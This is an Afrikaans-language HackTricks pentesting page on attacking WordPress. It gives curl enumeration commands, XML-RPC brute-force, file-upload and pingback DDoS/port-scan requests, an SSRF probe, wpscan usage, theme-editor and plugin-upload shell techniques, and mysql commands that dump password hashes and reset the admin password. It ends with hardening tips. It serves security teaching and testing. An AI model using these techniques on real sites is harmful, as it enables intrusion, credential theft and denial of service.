Wordpress

Ondersteun HackTricks

Gebruik Trickest om maklik te bou en werkvloei te outomatiseer wat deur die wêreld se mees gevorderde gemeenskap gereedskap aangedryf word. Kry Toegang Vandag:

Basiese Inligting

Gelaaide lêers gaan na: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Temas lêers kan gevind word in /wp-content/themes/, so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur tema twentytwelve te gebruik, kan jy toegang verkry tot die 404.php lêer in: /wp-content/themes/twentytwelve/404.php Nog 'n nuttige url kan wees: /wp-content/themes/default/404.php

In wp-config.php kan jy die wortel wagwoord van die databasis vind.

Standaard aanmeldpade om te kontroleer: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Hoof WordPress Lêers

  • index.php

  • license.txt bevat nuttige inligting soos die weergawe van WordPress wat geïnstalleer is.

  • wp-activate.php word gebruik vir die e-pos aktiveringsproses wanneer 'n nuwe WordPress webwerf opgestel word.

  • Aanmeldmappes (kan hernoem word om dit te verberg):

  • /wp-admin/login.php

  • /wp-admin/wp-login.php

  • /login.php

  • /wp-login.php

  • xmlrpc.php is 'n lêer wat 'n kenmerk van WordPress verteenwoordig wat data toelaat om met HTTP oorgedra te word as die vervoermeganisme en XML as die koderingmeganisme. Hierdie tipe kommunikasie is vervang deur die WordPress REST API.

  • Die wp-content gids is die hoofgids waar plugins en temas gestoor word.

  • wp-content/uploads/ Is die gids waar enige lêers wat na die platform gelaai word, gestoor word.

  • wp-includes/ Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.

  • wp-sitemap.xml In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al openbare plasings en publiek opvraagbare plasings tipes en taksonomieë.

Post eksplorasie

  • Die wp-config.php lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis gasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.

Gebruikers Toestemmings

  • Administrateur

  • Redakteur: Publiseer en bestuur sy en ander plasings

  • Skrywer: Publiseer en bestuur sy eie plasings

  • Bydraer: Skryf en bestuur sy plasings maar kan dit nie publiseer nie

  • Tekenaar: Blaai plasings en wysig hul profiel

Passiewe Enumerasie

Kry WordPress weergawe

Kyk of jy die lêers /license.txt of /readme.html kan vind

Binne die bronskode van die bladsy (voorbeeld van https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS skakel lêers

  • JavaScript lêers

Kry Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Kry Temas

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Gebruik Trickest om maklik te bou en outomatiese werksvloei te skep wat deur die wêreld se mees gevorderde gemeenskapstools aangedryf word. Kry Toegang Vandag:

Aktiewe enumerasie

Plugins en Temas

Jy sal waarskynlik nie in staat wees om al die Plugins en Temas te vind nie. Om al hulle te ontdek, sal jy aktief 'n lys van Plugins en Temas te Brute Force (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat).

Gebruikers

ID Brute

Jy kry geldige gebruikers van 'n WordPress-webwerf deur gebruikers-ID's te Brute Force:

curl -s -I -X GET http://blog.example.com/?author=1

As die antwoorde 200 of 30X is, beteken dit dat die id geldige is. As die antwoord 400 is, dan is die id ongeldige.

wp-json

Jy kan ook probeer om inligting oor die gebruikers te verkry deur te vra:

curl http://blog.example.com/wp-json/wp/v2/users

'n Ander /wp-json/ eindpunt wat 'n bietjie inligting oor gebruikers kan onthul, is:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Let wel dat hierdie eindpunt slegs gebruikers blootstel wat 'n pos gemaak het. Slegs inligting oor die gebruikers wat hierdie funksie geaktiveer het, sal verskaf word.

Neem ook kennis dat /wp-json/wp/v2/pages IP-adresse kan lek.

Inlog gebruikersnaam enumerasie

Wanneer jy inlog in /wp-login.php is die boodskap anders as die aangeduide gebruikersnaam bestaan of nie.

XML-RPC

As xml-rpc.php aktief is, kan jy 'n geloofsbriewe brute-force uitvoer of dit gebruik om DoS-aanvalle op ander hulpbronne te loods. (Jy kan hierdie proses outomatiseer deur dit te gebruik byvoorbeeld).

Om te sien of dit aktief is, probeer om toegang te verkry tot /xmlrpc.php en stuur hierdie versoek:

Kontroleer

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Geloofsbriewe Bruteforce

wp.getUserBlogs, wp.getCategories of metaWeblog.getUsersBlogs is sommige van die metodes wat gebruik kan word om geloofsbriewe te brute-force. As jy enige van hulle kan vind, kan jy iets soos stuur:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Die boodskap "Onkorrekte gebruikersnaam of wagwoord" binne 'n 200 kode antwoord moet verskyn as die geloofsbriewe nie geldig is nie.

Met die korrekte geloofsbriewe kan jy 'n lêer oplaai. In die antwoord sal die pad verskyn (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Ook is daar 'n sneller manier om kredensiale te brute-force met system.multicall aangesien jy verskeie kredensiale op dieselfde versoek kan probeer:

Om 2FA te omseil

Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige kredensiale het maar die hoofingang is beskerm deur 2FA, kan jy dalk xmlrpc.php misbruik om in te log met daardie kredensiale ter omseiling van 2FA. Let daarop dat jy nie al die aksies wat jy deur die konsole kan doen, kan uitvoer nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS of poort skandering

As jy die metode pingback.ping in die lys kan vind, kan jy die Wordpress dwing om 'n arbitrêre versoek na enige gasheer/poort te stuur. Dit kan gebruik word om duisende Wordpress webwerwe te vra om toegang te verkry tot een plek (so 'n DDoS word in daardie plek veroorsaak) of jy kan dit gebruik om Wordpress te laat skandeer van 'n interne netwerk (jy kan enige poort aandui).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

As jy faultCode met 'n waarde groter as 0 (17) kry, beteken dit die poort is oop.

Kyk na die gebruik van system.multicall in die vorige afdeling om te leer hoe om hierdie metode te misbruik om DDoS te veroorsaak.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Hierdie lêer bestaan gewoonlik onder die wortel van die Wordpress-webwerf: /wp-cron.php Wanneer hierdie lêer geïndekseer word, word 'n "zware" MySQL navraag uitgevoer, wat deur aanvallers gebruik kan word om 'n DoS te veroorsaak. Ook, standaard, word die wp-cron.php op elke bladsy-laai (wanneer 'n kliënt enige Wordpress-bladsy versoek), wat op hoë-verkeer webwerwe probleme kan veroorsaak (DoS).

Dit word aanbeveel om Wp-Cron te deaktiveer en 'n werklike cronjob binne die gasheer te skep wat die nodige aksies op 'n gereelde interval uitvoer (sonder om probleme te veroorsaak).

/wp-json/oembed/1.0/proxy - SSRF

Probeer om https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net te benader en die Wordpress-webwerf mag 'n versoek aan jou maak.

Dit is die antwoord wanneer dit nie werk nie:

SSRF

Hierdie hulpmiddel kontroleer of die methodName: pingback.ping en vir die pad /wp-json/oembed/1.0/proxy bestaan, en as dit bestaan, probeer dit om dit te benut.

Outomatiese Hulpmiddels

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Gebruik Trickest om maklik werkvloei te bou en te automate wat aangedryf word deur die wêreld se meest gevorderde gemeenskapstools. Kry Toegang Vandag:

Kry toegang deur 'n bietjie te oorskryf

Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man kon jy 1 bit van enige wordpress-lêer omdraai. So jy kon die posisie 5389 van die lêer /var/www/html/wp-includes/user.php omdraai om die NOT (!) operasie te NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Paneel RCE

Wysig 'n php van die tema wat gebruik word (admin geloofsbriewe benodig)

Uiterlik → Tema Redigeerder → 404 Sjabloon (aan die regterkant)

Verander die inhoud na 'n php shell:

Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Jy kan gebruik:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

Dit mag moontlik wees om .php-lêers as 'n plugin op te laai. Skep jou php backdoor met behulp van byvoorbeeld:

Voeg dan 'n nuwe plugin by:

Laai plugin op en druk Installeer Nou:

Klik op Voortgaan:

Waarskynlik sal dit niks doen nie, maar as jy na Media gaan, sal jy jou shell opgelaai sien:

Toegang daartoe en jy sal die URL sien om die omgekeerde shell uit te voer:

Uploading and activating malicious plugin

Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:

  1. Plugin Verkryging: Die plugin word verkry van 'n bron soos Exploit DB soos hier.

  2. Plugin Installasie:

  • Navigeer na die WordPress-dashboard, gaan dan na Dashboard > Plugins > Upload Plugin.

  • Laai die zip-lêer van die afgelaaide plugin op.

  1. Plugin Aktivering: Sodra die plugin suksesvol geïnstalleer is, moet dit deur die dashboard geaktiveer word.

  2. Eksploitering:

  • Met die plugin "reflex-gallery" geïnstalleer en geaktiveer, kan dit benut word aangesien dit bekend is om kwesbaar te wees.

  • Die Metasploit-raamwerk bied 'n eksploit vir hierdie kwesbaarheid. Deur die toepaslike module te laai en spesifieke opdragte uit te voer, kan 'n meterpreter-sessie gevestig word, wat ongeoorloofde toegang tot die webwerf verleen.

  • Dit word opgemerk dat dit net een van die vele metodes is om 'n WordPress-webwerf te exploiteer.

Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboard vir die installasie en aktivering van die plugin uitbeeld. Dit is egter belangrik om op te let dat die eksploitering van kwesbaarhede op hierdie manier onwettig en oneties is sonder behoorlike magtiging. Hierdie inligting moet verantwoordelik gebruik word en slegs in 'n wettige konteks, soos penetrasietoetsing met eksplisiete toestemming.

Vir meer gedetailleerde stappe kyk: https://www.hackingarticles.in/wordpress-reverse-shell/

From XSS to RCE

  • WPXStrike: WPXStrike is 'n skrip wat ontwerp is om 'n Cross-Site Scripting (XSS) kwesbaarheid na Remote Code Execution (RCE) of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting kyk hierdie pos. Dit bied ondersteuning vir Wordpress Weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:

  • Privilegie Eskalasie: Skep 'n gebruiker in WordPress.

  • (RCE) Aangepaste Plugin (backdoor) Oplaai: Laai jou aangepaste plugin (backdoor) na WordPress op.

  • (RCE) Ingeboude Plugin Wysig: Wysig 'n Ingeboude Plugin in WordPress.

  • (RCE) Ingeboude Tema Wysig: Wysig 'n Ingeboude Tema in WordPress.

  • (Aangepas) Aangepaste Eksploite: Aangepaste Eksploite vir Derdeparty WordPress Plugins/Themes.

Post Exploitation

Trek gebruikersname en wagwoorde uit:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Verander admin wagwoord:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Aanvaloppervlak

Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om kwesbaarhede in sy funksionaliteit te vind. Jy kan vind hoe 'n plugin funksionaliteit kan blootstel in die volgende opsomming en 'n paar voorbeelde van kwesbare plugins in hierdie blogpos.

  • wp_ajax

Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie foute bevat. Boonop is dit 'n soort van gereeld dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce sal baseer wat enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê (onafhanklik van sy rol).

Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

Die gebruik van nopriv maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).

Boonop, as die funksie net die magtiging van die gebruiker met die funksie wp_verify_nonce nagaan, kyk hierdie funksie net of die gebruiker ingelogde is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae bevoorregte gebruikers mag toegang hê tot hoë bevoorregte aksies.

  • REST API

Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die register_rest_route funksie:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

Die permission_callback is 'n terugroep funksie wat nagaan of 'n gegewe gebruiker gemagtig is om die API-metode aan te roep.

As die ingeboude __return_true funksie gebruik word, sal dit eenvoudig die gebruikerstoestemmingskontrole oorslaan.

  • Direkte toegang tot die php-lêer

Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, gaan dit deur enige gebruiker uitgebuit kan word.

WordPress Beskerming

Gereelde Opdaterings

Maak seker dat WordPress, plugins, en temas op datum is. Bevestig ook dat outomatiese opdatering geaktiveer is in wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Ook, installeer slegs betroubare WordPress-inproppe en temas.

Sekuriteitsinproppe

Ander Aanbevelings

  • Verwyder standaard admin gebruiker

  • Gebruik sterk wagwoorde en 2FA

  • Periodiek herbeoordeel gebruikers toestemmings

  • Beperk aanmeldpogings om Brute Force-aanvalle te voorkom

  • Hernoem wp-admin.php lêer en laat slegs interne toegang of toegang vanaf sekere IP-adresse toe.

Gebruik Trickest om maklik te bou en automate werkvloei aangedryf deur die wêreld se mees gevorderde gemeenskapstoestelle. Kry Toegang Vandag:

Ondersteun HackTricks

Last updated